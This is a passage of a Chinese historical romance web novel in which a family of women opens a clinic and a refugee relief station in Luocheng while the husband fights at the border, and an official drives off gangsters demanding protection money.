一共分为上下两层楼，二楼用来居住，分东南两片区域，华大夫和刘管家住在东面的两间，姑娘们则住在南面的房间，中间隔着一个正方形的天井。
一楼四面的房间全都安排好不同的用处。
西面是厨房，主要用于平日做饭还有给病人煎药。
东面是会诊厅，来看病的百姓都从东面的大门进来，然后到达会诊厅，由华大夫看病，再开对应的方子。
南面是药房，病人会诊结束，拿着药方便可以去药房抓药。如果有需求，医馆也可以帮忙煎药。
北面是仓库，专门堆放一些暂时用不到的药材，还有平日里用不到的物品。
一间屋子，解决了她们所有的问题。
不但把新的住处给解决了，还实现了莫婉晴一直以来想要开医馆的梦想。
莫婉晴给医馆取名为“民乐”，寓意百姓门都可以健康安乐。
民乐医馆开张的那天，门口门庭若市，好不热闹。
宋家莫娘子和楚娘子的名号，早就响彻整个洛城的大街小巷。
她们二人早就成了女子们的典范。
陆思云甚至把孙二斤叫来帮忙一起维护现场的秩序。
孙二斤忍不住跟她吐槽：“星然妹妹，你家大娘子可真能干，又开点心铺子又开医馆的。真是让人佩服得五体投地啊。”
听她夸自己的姐姐，陆思云脸上得意洋洋，仿佛方才二斤的夸赞夸的是她一样。
“我们莫姐姐，可是很有商业头脑的。只不过她这次开医院，可并不是为了赚钱，而是真的为百姓谋福利。”
“那你家大娘子可真是个活菩萨。”
“还是位美丽的活菩萨。”
二人说完相视一笑，都觉得这个比喻特别有意思。
陆琛站在街角的角落里，看着医馆门口面带微笑招呼着人进屋的莫婉晴，却是半步也不敢往前。
自从那日在河边说清楚之后，他们便没有再见过面。
虽然陆琛还是派了手下的人暗中保护着他们，时刻了解着她们的一举一动，但也仅此而已。
其他事，他便没有再插手，也再无插手的理由和立场。
他一早就知道，那天之后，莫婉晴带着她的家人很快就搬出了他的旧宅。
对此，陆琛并不意外。
以他对莫婉晴的了解，自然能猜到，如今他们已经是两个毫无关系的人，按照她的个性，是不会再继续住在他的宅院。
只是，就算他料到莫婉晴会这么做，就算他再不意外，但是他还是会忍不住失落，他的心还是会忍不住痛……
陆思云站在门口维持秩序的时候，眼角的余光看到站在角落里的陆琛。
在看到陆琛的一瞬间，陆思云有些怔住。
她犹豫要不要将看到陆琛的这件事告诉莫婉晴。
但在她犹豫的愣神间，等她再看向陆琛站的那个地方的时候，那边已经空无一人。
陆思云甚至觉得，自己方才看到的大概是错觉。
忙了一天，等到民乐医馆打烊后，众人全都累倒在桌边，连抬手的力气都没有了。
陆思云看着有气无力的大家，再摸了摸饿扁了的肚子，在心里腹诽：要是这个世界也有外卖就好了，这样就不用自己做饭，直接点外卖到家直接就能把肚子填饱了。
可是这终究是她的异想天开。
翠柳打气精神站了起来，走进厨房，给大家做一些能填饱肚子的简餐。
碧水趴在桌子上，有气无力地说：“今天这个日子，让我想起了珍果苑开张的那天，大家也都像今天这样，累的连话都说不出来。”
松萝笑着道：“可是生意好，大家心里还是很高兴的。至少今天的辛苦是值得的。”
陆思云突然来了精神，她从椅子上站起来：“今天这么好的日子，医馆第一天开张就这么多人来看诊，是个好兆头。我们必须得庆祝一番，我去买点酒去。”
刘管家立刻拿着银子乐呵呵地说：“二夫人，还是我去吧。您歇会儿。”
“有劳刘管家了。”
有酒有菜，姑娘们一旦喝开了，就什么苦什么累的，全都抛到了脑后。
翠柳带着醉意，小脸微红地说：“人生真的好奇妙，我从前从来都没想过，自己的手艺能赚钱，我还经营着一家点心铺子。”
“可不是，”松萝也附和道：“我以前可从来不敢想，自己能做账房先生，现在还能做铺子的掌柜。”
刘管家举着酒杯，笑着道：“我以前也从来不知，原来女子也能这么能干。自从少爷流放之后，这个家就全靠姑娘们撑起来。作为家里的男人，我实在是很惭愧。”
碧水连忙反驳：“刘管家您可千万别这么说，要不是你在家里坐镇，帮我们把家中事务全都打理好，我们也不能在外面安心做营生呀。”
莫婉晴看着大家你夸我、我夸你，其乐融融的样子，心里很是欣慰。
“这个家，能走到今日，拥有一家点心铺子和一家医馆，在座的每一位，都是功臣，都是缺一不可的重要存在。大家谁都不要谦虚。往后可能会更忙碌，大家要兼顾好自己的身子，可千万不要硬撑。身体是革命的本钱，只有身体好了，一切才能进展下去。”
“姐姐说得对。我们大家都要好好保护自己的身体，别太劳累。反正接下来我们还要招一些新的下人来帮忙，大家也可以借此机会培养培养徒弟，不要什么事都亲力亲为。怎么说，我们这几个人也是原始股东嘛。”
陆思云喝了点酒，上了头，说话没有顾忌。
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众人一脸蒙圈地看着她。
“股东是什么意思？”
陆思云硬着头皮解释：“股东……就是，就是老板的意思。”
“这个词儿我还是第一次听见。”
碧水露出感兴趣的神情，但陆思云却是吓了一身冷汗。
差点要露馅儿。
莫婉晴连忙出来打圆场：“好了，明天一早还要开店，大家都少喝点，早点回去休息。”
“是。”
等所有人都回屋子休息了以后，莫婉晴独自坐在天井下，看着夜色，独自缓解着这一天积累下来的疲倦。
陆思云走过来在她旁边坐下：“姐姐。”
“妹妹这么晚了，怎么还不去休息。今天一天，你跟二斤兄也辛苦了。”
陆思云咬着唇，犹豫再三，还是决定开口：“今天白天，我在门口维持秩序的时候，好像看到陆大人了。”
听见“陆大人”三个字，莫婉晴脸上的笑容立刻僵在脸上。
“姐姐，你和陆大人……”
莫婉晴表情郑重地看向她，认真地说：“我和陆大人，如今已经没有任何关系。他的事情，妹妹以后就不用告诉我了。”
“是妹妹唐突了。”
她逼着自己露出一丝难看的微笑，想继续说：“天色不早了，我先回房休息了，妹妹也早些歇下吧。”
说完，莫婉晴几乎是一刻都不愿停留似的，逃也一般地离开了天井。
看着她有些慌乱的背影，陆思云心中难受，因为她知道，莫婉晴没有一刻放下陆琛，她根本是在口是心非。
莫婉晴回到房间，将自己关在屋内。
只有在没有人的地方，她才允许自己将内心的感情释放出来。
她缓缓地蹲在地上，任由泪水滑落脸颊，滴在地上。
------
苗南边境
宋晏初和杨诚用这段休整缓和期，做了很多应战的准备工作。
战争一触即发。
而今夜，也许大家都知道不久以后就要有一场大战，军营内显得尤为安静。
宋晏初难得的今夜没有呆在营帐内，而是走到河边，坐在河边的石头上，手执酒壶，一边喝着酒一边看着头顶的星空。
云青带着一件狐球披风走到他身边，将披风披在宋晏初的身上。
“大人，天冷小心别冻着。”
宋晏初紧了紧身上的披风，问：“云青，我们来苗南多久了？”
“快半年了。”
“不知道星然她们，在洛城过得如何？”
“二夫人隔三差五都会给大人寄来家书，难道夫人在信中并未提到家中近况？”云青奇怪地问道。
宋晏初看着手中已经凉透了的酒壶，缓缓开口：“她的家书，除了第一封我拆开来看过，之后的从未开启过。”
云青愣住：“为何？”
“我怕自己看了，会忍不住思念之情，想要回去找她。但我深知，我来此目的，关乎国危，半点不敢懈怠。”
“大人是怕，儿女之情会瓦解您的意志。”
宋晏初失笑：“我是不是挺没用的。”
“怎么会。大人在我心中，一直是心怀大义，心系国家之人。再者，都是人，都有七情六欲，就算偶尔会有软弱的时候，也实属正常。”
宋晏初长叹一口气，嘴边立刻呼出阵阵白烟。
他看着不远处黑漆漆的河流，在月光的照射下闪着些许波光粼粼。
他的眼神突然变得犀利起来：“索性，这样的日子，马上就要结束了。”
75.第 75 章
出战前一晚，仕尔多有些紧张，他睡不着，独自一个人坐在营帐外的空地上，吹着寒风，不知在想什么。
宋晏初研究了一晚上的行军路线，走出营帐伸了个懒腰，透透气。
懒腰伸到一半，就看到那个少年坐在不远处的空地上，双手托着下巴，眼睛看着地面，一动不动。
看他穿得单薄，又这么直直地坐在地面上，宋晏初微微皱眉。
也不知道冷！
他转身走进自己的营帐内，等他再出来时，手上已经多了一件披风外套。
宋晏初轻轻走到他面前，少年想得太入迷，居然没有察觉到他的靠近。
直到肩膀上披了件外套，他才反应过来。
稚嫩的小脸抬起来，茫然地看向他。
见到宋晏初，少年的脸上露出欣喜的神情：“将军，这么晚了您怎么还没休息？”
“你呢？为何这么晚也还没歇息？”
“明天就要跟北国交战了，我有些睡不着。”
宋晏初理解他此刻的心情。
他身在敌营，虽然并未受到苛待，过得其实还是相当不错的，不愁吃不愁穿，除了偶尔会有些想念家乡想念家人之外，其他都很好。
但他毕竟是北国人，身体里留着北国人的鲜血。
明天，他所在的军队就要去攻打自己的国家，就算他还是个懵懂的孩子，心里也多少会有一些担忧和无奈。
他不喜欢打仗，他不明白成年人的世界为何非要用打打杀杀来解决问题不可。
可他终究是太过渺小，没办法改变局势。
只能独自哀愁。
“明日你留在营帐内，不用跟我们一起上前线。”
仕尔多惊讶地看着他：“为什么？我有的是力气，我可以为您抗刀。”
宋晏初被他的话给逗笑了，原本沉重的心情因为这个笑而消散了许多。
他伸手摸了摸他的头发，一如既往的刺手。
“小孩儿不能上战场，大宣国还不至于沦落到让一个孩子去杀敌。再说，对面都是你的同胞，我让你举刀对着他们，那不是显得我太过残忍了。”
听了他的话，少年瞬间红了眼眶。
其实今夜他失眠，其中一个原因就是与此有关。
一想到明天在战场上会遇到自己国家的士兵，他不知该如何挥动自己手中的剑，指向他们。
“我说过，我会带你回你的家乡与你的家人团聚。你必须要好好地活到战争结束才行，不然我就没办法兑现我的承诺。”
仕尔多将自己缩成一团，然后将脸埋进膝盖，一动不动。
宋晏初见他这样，有些摸不着头脑。
“突然怎么了这是？”
当他看到少年不住颤抖的肩膀，他便明白，原来这孩子在哭啊。
宋晏初失笑，无奈地摇头。
果然还只是个孩子。
次日，边境的烈日照在人的身上，不但没有炙热的感觉，反而让人觉得自己被温暖包围着。
两方人马对立而站。
虽然全都静止待命，但周围充斥着一触即发的杀气。
宋晏初和杨诚以及其他几位主帅驾马站在最前排，与对方的首领四目而视。
北国的驻军首领叫哈赤尔，与杨诚有过几次交手，彼此都比较熟悉。
“杨将军，我们又见面了。”哈赤尔率先开口。
“哈赤尔将军，没想到这么快，我们又站在这里。”
“杨将军旁边那位是？我好像是第一次见。”
既然对方点到自己了，宋晏初便自己大声回道：“在下宋晏初，见过哈赤尔将军。”
宋晏初这个名字，哈赤尔听过，和亲王在写给他的密信里，反复提到过这个人。
每每在信中提起这个人的时候，和亲王的语气都是咬牙切齿，似乎是恨极了这个人。
“大理寺少卿宋晏初宋大人，久仰大名。”
宋晏初却不想跟他说这么多寒暄的废话，他直奔主题：“大宣国与北国常年交战，劳民伤财，对两国的发展都不利。我希望哈赤尔将军可以试试说服你们大汗，与我们签署停战协议。我们邻国之间，应该合作共赢，而不是像现在这样非要争得你死我活。”
哈赤尔听了他的话，哈哈大笑了两声：“原来宋大人来此前线，是来做说客的。我北国虽然地处北面，地域比不上你们大宣国那般辽阔。但我北国男儿个个都是顶天立地的男子汉，绝不做附庸他国的孬种。”
“哈赤尔，宋大人方才说的话，你听懂了吗？他的意思并不是让你北国归顺我大宣国，而是相互合作发展，一起繁荣富强。”
“呸！”哈赤尔面红耳赤地怒骂道：“不要以为我不知道，你们最终目的不过就是想让我北国归顺你们大宣国，成为你们的附属地。说这么多冠冕堂皇的话干什么？”
哈赤尔旁边的将军不耐烦地吼：“他奶奶的，还打不打了？大老远的跑到这边来唠嗑来了？”
杨诚与宋晏初对视了一眼，仅一个眼神，杨诚立刻领会了他的意思。
“既然如此，那便如你们所愿。各将士听令，给我杀！”
后面的人群立刻高喊：“杀！杀！杀！”
两边的阵营如同两块黑色的方块，慢慢地靠近，最后交织在一起。
到处都是刀剑的声音，将士们的嘶喊声，混合在一起，响彻了整个边境。
------
远在洛城的陆思云，此刻正在跟二斤巡街。
突然，她腰间上的玉牌毫无征兆地掉了下来。
这快玉牌，是宋晏初留下来的。
虽然不是宋晏初送给她的，但是他之前任职大理寺少卿的时候习惯佩戴的玉佩。
宋晏初被流放至边境，为了留点念想，她这才将这没他留在家中的玉佩挂在自己身上，让她可以看着这块玉佩睹物思人。
陆思云看着地上那块玉佩，突然心中产生了不好的预感。
宋晏初的上封家书送来已经是一个月前的事，信上提到马上就要打仗了，让她们在洛城也要提前做好准备。
自从收到他的这封家书，陆思云的心底一直都留存着浅浅的不安。
虽然她知道宋晏初此次去边境的目的，也知道这一仗不可避免，他也必须要打一仗，并且要打得漂亮，这样他才能凯旋而归
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，戴罪立功，才能官复原职。
可是打仗毕竟有风险，谁都不能保证他带兵打仗就一定会赢。
陆思云作为妻子，自然心里满是担心。
如今看到宋晏初的贴身玉佩的绳子突然断了，心底的焦虑不安自然立刻就翻涌而出。
孙二斤并不清楚她的心事，看她盯着地上的玉佩愣神，连忙捡了起来塞进他的手里。
“怎么了，心神不宁的？铺子和医馆最近忙得很么？”
听见他的询问，陆思云才缓过神来，她微笑着点点头：“可不是，忙的我们几个人整天都脚不沾地，连喝口水的时间都没有。”
“我们家就那么小一个馒头铺，我爹娘每天都起早贪黑，忙个不停。更别说你们这两个大铺子，没忙得人晕过去，就不错了。”
跟二斤说话，陆思云便觉得自己方才胸闷焦躁的心情得到了很大的缓解。
过多的胡思乱想也于事无补，她远在皇城，就算宋晏初那边开始打仗了，自己也帮不上什么忙。
所以她只能逼自己不要再去想太多，专注好眼前的事儿就好。
眼前的生活，确实忙忙碌碌，特别是医馆的开设，让她最近都没什么时间和精力能想起宋晏初来。
从某种意义上来说，这对陆思云来说也未必不是一件坏事。
但是今夜，等大家都入睡之后，陆思云却一个人坐在天井下的石桌旁，看着手中的玉佩，发着呆。
“妹妹怎么还在这里坐着？”身后传来莫婉晴的声音。
“莫姐姐，你怎么还没休息？”
“原本我是打算歇下了。看到你在楼下独自坐着，我便过来看看。”
见陆思云神情失落，她又问道：“怎么了？是不是想晏初了？”
陆思云看着手中破损的玉佩，诚实地回道：“这是晏初之前一直带在身边的玉佩。后来他去了边境，我便擅自拿过来贴身带着。可是今天我巡街的时候，它突然掉在了地上。它掉下来的瞬间，我的心突然就开始突突突地跳，姐姐我……”
“你在担心，边境开始打仗了，担心晏初会有危险？”莫婉晴接着她的话说。
“是。虽然我知道，这仗非打不可，他就是为此而去。这仗一日不打，他便永远都没机会从边境回来。但是前提是他得活着回来才行啊。这是他第一次去前线打仗，没有经验，明枪易躲暗箭难防，我实在是……”
见她越说越焦虑，莫婉晴连忙握住她的手抚慰道：“妹妹莫慌。妹妹的心情我十分理解，只是眼下妹妹除了相信晏初能够平安凯旋，再多的顾虑都是徒劳。边境还有杨将军帮忙，他是楚老将军的老部下，常年驻守边境，打仗经验丰富，他一定会护他周全的。”
听她这么一说，陆思云的心才渐渐的缓过来。
“姐姐说的没错，边境有杨将军在，他是我父亲最得力的部下，带兵经验丰富，他一定可以保护好晏初，也能把仗打赢。他们一定能平安回来，一定可以的。”
陆思云自言自语，自我安慰，自我说服。
然而，事实证明，陆思云的预感不是完全无中生有。
很快，边境打仗的消息就传入了洛城。
76.第 76 章
“打仗啦！打仗啦！大宣国和北国在边境打起来了！”
“什么？边境开始打仗了？那我得赶紧去屯点粮食。”
“怎么又打了，年年都打，有完没完！什么时候是个头！”
“不说了不说，赶紧去屯粮食吧。这仗一旦开始打起来，不知道什么时候会结束，到时候粮食又得涨价。”
“对对对，你说得对。”
……
打仗的消息传到洛城，百姓们全都人心惶惶。
这个消息，自然也传到陆思云她们几个人的耳中。
一家人铺子打烊后，便坐在大厅里，不约而同地沉默着。
边境开始打仗了，这就意味着宋晏初也会在前线浴血奋战，生死未知。
大家自然是担心他的安危。
见大伙儿情绪都这么低落，作为一家之主的莫婉晴可不能任由大家这么消沉下去。
她站起来，拍了拍双手，发出声音，引起大家的注意。
“我知道现在大家一定很担心远在边境打仗的夫君。但是，我们担心也没有用，根本帮不到他一点忙，只是徒增烦恼罢了。我们唯一要做的，就是把铺子经营好，平平安安健健康康地等夫君打了胜仗凯旋而归，大伙儿说是不是？”
大家都一起点头。
“既然如此，那我们还是该睡睡该吃吃，该干嘛干嘛，不要消沉了。”
“大夫人说得对，我们就算消沉，也帮不到少爷什么忙，我们还是要有干劲，做好自己的本分，等少爷回家。”
“刘管家说的对。”
安抚完了大家，莫婉晴来到陆思云的房间。
她知道，此时最需要安慰和开导的，就是思云妹妹了。
“思云妹妹，我能进来吗？”
屋里沉默了一会儿，就在莫婉晴疑惑是不是里面没人的时候，屋里传来闷闷的一声低喊：“进来吧，姐姐。”
这声音一听就是刚哭过。
莫婉晴推开门走进屋，看到陆思云趴在床上，眼睛红的跟个小兔子似的，无精打采的。
“妹妹是不是还在担心晏初？”
陆思云从床上坐起来，擦干脸上的泪水：“让姐姐见笑了。”
莫婉晴却什么也没说，只是握着她的手，无声地鼓励着她。
“我也知道，这种时候我不应该自乱阵脚。但是我没办法控制我的内心和我的情绪。”
“我明白的。不过妹妹也别太过于担心，你不妨可以从另一面来想事情。”
“另一面？”
“晏初常年在边境，也不是个办法。他早晚得回来，只有打了胜仗，才能回家。现在战事起，也就意味着，他离回家的日子已经不远了。妹妹马上就能跟晏初团聚了。”
陆思云的心里突然豁然开朗。
原来事情还能从另一个角度来考虑，就会发现，船到桥头自然直，柳暗花明又一村。
她虽然知道宋晏初此次流放的主要目的，但是她却一直在逃避。
她以为，只要宋晏初一直在边境，不打仗，没有危险，活着就行。
虽然二人相隔千里，每天都饱受相思之苦。
但是只要彼此都平安活着，就比什么都重要。
所以一旦开始打仗，她担心的只有宋晏初的安危，却不曾想，只有战争开始，那才是离他们相见的日子越来越近了。
至于他本人的安危，陆思云也只能听天由命地相信他可以取得胜利并且平安归来。
别的她都无能为力。
既然无能为力，又何必庸人自扰，徒增这么多烦恼呢？
“姐姐的话，真是让我的心里突然轻松了许多。谢谢姐姐，我现在好多了。”
“你能这么想，我也感到很安心。战事既然已经打响，也许再过不久，就会有难民来皇城，我预测接下来我们也会很忙碌，我需要妹妹助我一臂之力。”
“姐姐的事就是我的事，我义不容辞。”
“有妹妹在后面帮助我，我想心里就会踏实很多。”
“我们姐妹，从来都无须这么客气。”
------
随着边境战况的愈演愈烈，确实如莫婉晴预测的那样，不断的有难民流入洛城。
随着难民的不断增加，洛城的治安也出现了问题。
抢劫偷到案不断增多，引发了百姓的恐慌，如今本地人半夜都不敢随意出门。
和亲王借此在朝堂上继续弹劾宋晏初。
“若不是宋晏初在边境发起战争，也不会导致许多边境百姓因战事而失去家园，四散逃离，最终全都涌进皇城，从而引发城内动乱。”
楚越站出来反驳道：“两国交战多年，战事每次都是一触即发，难道我泱泱大国遭到北国骚乱，还要忍气吞声不成？那我大宣国国威何在？”
“楚爱卿说的有理。目前是要解决皇城内难民的问题，各位有什么好建议。”
“当务之急，是要给难民们寻得一个庇护之所安置。”
“或许可以将难民们先安排在灵招寺内。平日安排一些基本的餐食，这样他们有地方住，有东西吃，就不会再去偷盗和抢夺。”
皇帝点头：“说得在理。这件事就交给大理寺和户部去办。”
皇帝的话让下面的大臣们面面相觑。
莫中堂站出来提醒道：“启禀大人，自从宋大人遇害，宋少卿去往边境，大理寺一直都没有主事之人，恐怕难以胜任。”
被他这么一提醒，皇上才恍然大悟。
他沉吟片刻，对着自己的左侧喊道：“陆琛。”
左侧后面突然走出来一个人：“臣在。”
“这件事交由锦衣卫协助户部去办。”
“臣领旨。”
随着难民的越来越多，莫婉晴便意识到应该要做些什么。
原本她开医馆的目的，就是为了悬壶济世，救治天下苍生。
此时正是她施展这个抱负的大好机会。
但是她心里也清楚，这个医馆靠她一个人根本开不起来，也经营不起来。
这是所有人一起努力的结果。
所以，她就算此刻恨不得立刻投身于救助难民的行列，也必须得先问过自己家人的意见。
这是起码的尊重。
在有了这个想法以后，当天晚上，她便召集家中所有人一起商议此事。
“如今边境战事激烈，越来越多的难民逃离自己战火纷飞的家乡，辗转来到皇城内，就是为了寻得一处安稳之地。”
“但是随着难民流入的越来越多，皇城内对于难
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民的收留也有些不堪重负。所以我想跟大家商量一下，我想要给那些难民义诊，有些难民身上还带着伤痛，如果得不到及时的医治，伤口很容易会感染。”
“此外，我之前让松萝支了笔钱去买了很多粮食屯在家里。原本是为了给我们自己准备的，怕战争一旦打响，粮食会紧缺。如今我想置办一个救济驿站，每天定点给难民们施粥。”
“当然，这些都是我自己的一厢情愿，我也不能全凭自己做主，需要征得大家的同意。因为一旦施行起来，两边的铺子都会受到影响。如果到时候难民实在太多，忙不多来，也许还得关几天铺子，这样会影响家里的收入。”
莫婉晴越说心里越觉得忐忑。
总有一种，把自己的意愿强加到别人身上，强人所难的感觉。
不曾想，大家伙儿听完她的建议，全都激动了起来。
“这个想法好啊！现在城里的难民真的越来越多了，看上去都好可怜的样子。我心里看着也很难受。”翠柳说道。
碧水也跟着说：“是呀，能为他们做点什么，我心里也是很乐意的。”
刘管家也点头同意：“我没什么大志向，但是我唯一能肯定的就是，我这一辈子都愿意听从大夫人的吩咐，大夫人让我干啥我就干啥。”
华大夫情绪激动地握着莫婉晴的手：“莫娘子心怀大义，老夫实在是佩服得五体投地。没想到女子也能有如此气魄。”
陆思云看着大家都很赞同莫婉晴的想法，心里很是高兴，她转身拍了拍莫婉晴的肩膀，宽慰道：“之前我们开铺子攒了不少积蓄，短期内养活我们几个绰绰有余。更何况我还有衙门的俸禄，姐姐不用担心做义诊我们家里会揭不开锅。姐姐只管去做自己想做的事，实现自己心中的理想抱负，我们这些家人，都是你最坚强的后盾。尽管放心大胆地去做吧！”
莫婉晴看着眼前的家人，热泪盈眶。
她没想到，自己的这个提议，居然会得到全家人的支持，她简直惊喜极了，也感动极了。
她忍不住流下了感动的泪水。
其实莫婉晴一直都很少掉眼泪，很少将自己这么脆弱的一面展示出来。
只因她是一家之主，她需要承担起家庭的重担，遇事她习惯不慌不乱，将自己内心的不安全都掩藏在心底，不表露出来。
她担心如果自己露出哪怕一点脆弱，那么这个家就会失去主心骨，会乱作一团。
以前她还有陆琛每天可以倾听她心中的焦虑和烦恼，可是现在这个发泄口也被她亲手赶走。
所以今晚是她第一次将自己内心的情绪发泄出来，将自己最弱的一面展现在大家面前。
陆思云看她痛哭的模样，也跟着湿润了眼眶。
她明白莫婉晴心里的苦有多苦，肩上的重担有多重，这段时日过得有多不容易。
她很想为莫姐姐分担，可有些事，只有她自己才能挺过去，熬过去。
如今看她终于在这一刻放下了心房，陆思云也觉得很欣慰。
她将双手掩面痛哭流涕的莫婉晴搂在怀中，轻轻地拍着她的后背无声地安慰着她。
莫婉晴在陆思云的怀中，像个孩童一般，放肆地大哭了一场。
“谢谢你们，谢谢你们愿意支持我，帮助我，鼓励我。”
77.第 77 章
既然决定为难民义诊和建立救济站，莫婉晴便带着姑娘们立刻干了起来。
她们原本就是执行力特别强的人，很快就将救济驿站搭建完成。
附近的百姓们听到莫娘子她们要建立救济站帮助那些难民，全都对她十分敬佩和感动。
很多人都主动过来帮忙。
在大家的帮助之下，救济站很快便运作了起来。
莫婉晴和华大夫定期会去灵招寺给生病受伤的难民治病赠药。
一时间，宋家两位娘子“活菩萨”的称号立刻传遍整个洛城。
——————
和亲王府
“什么？你说宋晏初的两位夫人，正在坊间施粥赠药，救济难民？”
“是的，百姓们全都自发地在帮忙。”
“哗啦”一声巨响，和亲王将书桌上的笔墨纸砚全都挥到了地上。
“宋晏初真是阴魂不散，想不到他的女人也都不是省油的灯。她们这个救济驿站一弄，名声在外，没人会记得她们的丈夫被流放在外，是个杀人犯！本王怎么能这么便宜了她们。”
和亲王愤怒的眼神中满是阴狠之色。
救济驿站上了轨道，驿站内也有很多洛城百姓自发成为义工，每天都在驿站来帮忙。
莫婉晴看到有这么多百姓前来帮忙，顿时觉得人间还是有真情在的，心里觉得十分温暖。
正是因为有了这么多自发的百姓在驿站帮忙，姑娘们才能抽出身来继续打理点心铺子。
华大夫不去招灵寺义诊的时候，也能继续呆在医馆里给病人们看病。
而莫婉晴和陆思云则是将主要的精力放在了救济驿站这儿。
这样一来，家里的营生也没有受到影响，难民们也及时得到了救助。
这比莫婉晴预想的情况，实在是要好上太多了。
只是，好景不长。
救济站开了没几天，白虎帮的人就来驿站找麻烦。
为首的看上去身材魁梧，皮肤黝黑，面相有些凶神恶煞的人带着几个手下走进驿站。
“你们这里谁是主事人？”
此人一看就来者不善，语气凶巴巴的。
莫婉晴毫无惧色地从里面走出来，直视他的眼睛：“我是主事人，请问有何贵干？”
赵大石一看主事人是个女子，心里有些得意，一个女人还能翻了天去，所以压根没将莫婉晴放在眼里。
“谁准你们擅自在这里安置驿站？”
“此话何意？这是我们民间百姓自发建立的，也向官府报备过，任何流程都是合乎规矩的。我不知道你站在这里，是以何身份质问我？”
赵大石冷笑一声：“你们没向我们白虎帮报备，就不能在这里建驿站。”
莫婉晴也笑了，只是笑容里更多的是冷意。
“我倒是不知道，天子脚下，居然还是你们白虎帮说了算？官府部门都说了不算么？”
赵大石没想到眼前的这个女子，非但一点都不怕他们，更是如此牙尖嘴利，也压根就没把个哥几个放在眼里。
他的脸上染上了一丝怒气。
“哪儿来的野丫头，敢跟本大爷这么说话？你信不信，我现在就可以把你们这个破驿站给砸个稀巴烂？”
莫婉晴脸上却是没有半点惧怕之色。
她不相信，朗朗乾坤，光天化日之下，还能有人这般目无法纪，猖狂至此。
她眼睛盯着赵大石，厉声喊道：“翠柳，去报官。我倒是好奇，这大宣国，到底是谁说了算！”
“是。”翠柳领命，立刻就往门口走去。
却被赵大石的手下拦住。
莫婉晴见状，脸上也有了些许愤怒：“怎么？你莫不是心虚？不敢让官府的人来？”
赵大石脸上的横肉抖了两抖，然后大喊：“兄弟们，给我把这个驿站砸喽！”
莫婉晴脸色聚变。
赵大石的人刚要动手，门口传来一个尖锐但掷地有声的声音：“我看谁敢！”
所有人立刻全都看向门口。
陆思云穿着捕快的衣服，手放在腰间的刀柄上，铁青着一张脸，正怒视地看着屋里的人。
方才那声怒吼，正是出自她的口。
陆思云缓缓地走进门，站在莫婉晴的前面，与赵大石面对面站着。
“赵大石，你好大的胆子，衙门的驿站，你也敢砸？看来你们大当家最近忙着别的事，没空收拾你们，才准你们出来胡作非为，是不是？”
看到陆思云，赵大石的脸色略有松动。
六扇门的楚星然，是何许人也，他是略有耳闻的。
此人周旋与青龙帮和白虎帮两派之间，搅的两边都鸡犬不宁，偏偏又拿她毫无办法。
见到她，赵大石露出了谄媚的笑：“哟，这不是楚爷么？失礼了，失礼了。”
陆思云指了指身后的莫婉晴：“这是我家姐。这驿站是我们六扇门允许开的，你方才对我家姐大吼大叫，又扬言要砸了驿站，你这是想造反不成？”
“我哪敢啊？楚爷！只不过衙门有衙门的规矩，我们白虎帮也有白虎帮的规矩。这驿站要开也可以，那也得跟那些商贩一样，每月按时给保护费就行。”
又是保护费！
莫婉晴摆摊的时候，就对这不合法的保护费深恶痛绝，但因没有能力与这黑暗势力对抗，惹不起还躲不起么，于是自己咬牙开了店铺，不想跟这些流氓打交道。
谁想如今她想做好事，帮助那些因战争失去住所的难民，建立这个救济驿站，却还是被这些混蛋给盯上了。
居然又来问她收保护费！
眼看着莫婉晴怒不可歇，想要上前与他理论，却被陆思云立刻拦在身后。
莫婉晴一直温柔端庄，从未与人红过脸，根本不是这些地痞混混的对手。
“赵大石，你们白虎帮最近是不是穷疯了，连救济站的钱也想坑？就不怕我上奏朝廷，把你们这俩帮给取缔了？”
没想到赵大石根本就不怕她的威吓。
如若是以前，宋晏初还在大理寺任职少卿的话，那他们白虎帮或者青龙帮对她说的话还会有几分忌惮。
如今整个洛城，谁人不知他宋晏初当街斩杀朝廷重臣，被流放边境，生死不明。
如今的她们，也就在民间有点好名声，其他的一无所有，不足畏惧。
“楚爷，这话要是以前，我还信几分。如今你一小小六扇门捕快，莫说见皇上了，就连宫墙的门你都摸不到，还敢用这
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些个话来吓唬我？你以为我们白虎帮都是吃素的不成？”
陆思云确实是在放狠话，打肿脸充胖子。
她也清楚，只凭她一人之力，根本没办法与之对抗。
别说是白虎帮，哪怕是眼前的赵大石，凭她一个小小的捕快，又能拿他们如何？
就在她们落了下风，一筹莫展之际。
门口又传来一个低低地，却带着些威严的声音：“那么我如何？”
一听到声音，莫婉晴的脸色立刻僵住。
这个声音，她再熟悉不过。
是陆琛。
赵大石看到一身飞鱼服的陆琛出现在门口，方才那股嚣张的气焰瞬间荡然无存。
陆琛缓缓走到他面前，冷眼看着他，似笑非笑地问：“你看我够不够格，摸到那皇城的大门，去皇上面前，参你们一本？”
赵大石和他那几个跟班立刻双腿发软，无力地跪在地上：“小人有眼无珠，见过锦衣卫指挥使大人。”
“这个驿站，不仅是衙门扶持的，更是皇上下旨建造的，属于皇家的东西。请问你们白虎帮，是想要问皇家收保护费？到底是谁在保护谁，你们白虎帮是忘了？”
赵大石吓得哆哆嗦嗦：“小人不敢。小人不知这是皇家的驿站。”
“现在知道了，还不快滚？要是还有下次，我定带着锦衣卫上门去抄了你们白虎帮，我陆琛说到做到。”
“是是是，小人立刻滚，现在就滚！绝对不待在这里污了您的眼。”
说完，赵大石带着他的跟班们，连滚带爬，仓皇而逃。
赵大石他们几个离开后，屋内立刻安静了下来。
陆思云小心翼翼地看着一旁的莫婉晴，发现她低着头看着地上，面无表情，不知在想什么。
于是只能由她出面，向陆琛表示感谢：“陆大人，多谢您出面帮我们解围。”
陆琛转过身，先看了一眼一旁的莫婉晴，然后才对陆思云道：“二夫人客气。其实我方才说的，也确实是真的。”
“哦？”陆思云有些惊讶。
“皇上本来就命我处理难民的滞留和温饱问题。既然你们已经自发建立救济驿站，不如我与你们合作。像方才那种事，就可以交由我们锦衣卫来解决，你们只需要保障施粥和义诊能顺利开展即可。”
陆思云一听，脸上立刻露出欣喜的笑容：“那可太好了！有了陆大人的帮助，我们便不用再怕青龙帮和白虎帮来找我们的麻烦了。”
“另外户部也支了一笔银两用于难民，你们也不需要再自掏腰包，如此破费了。”
莫婉晴却在此时插嘴道：“这救济驿站原本就是我们自发建立的，也是我们自愿拿出钱财用于救济难民，不存在破不破费的道理。”
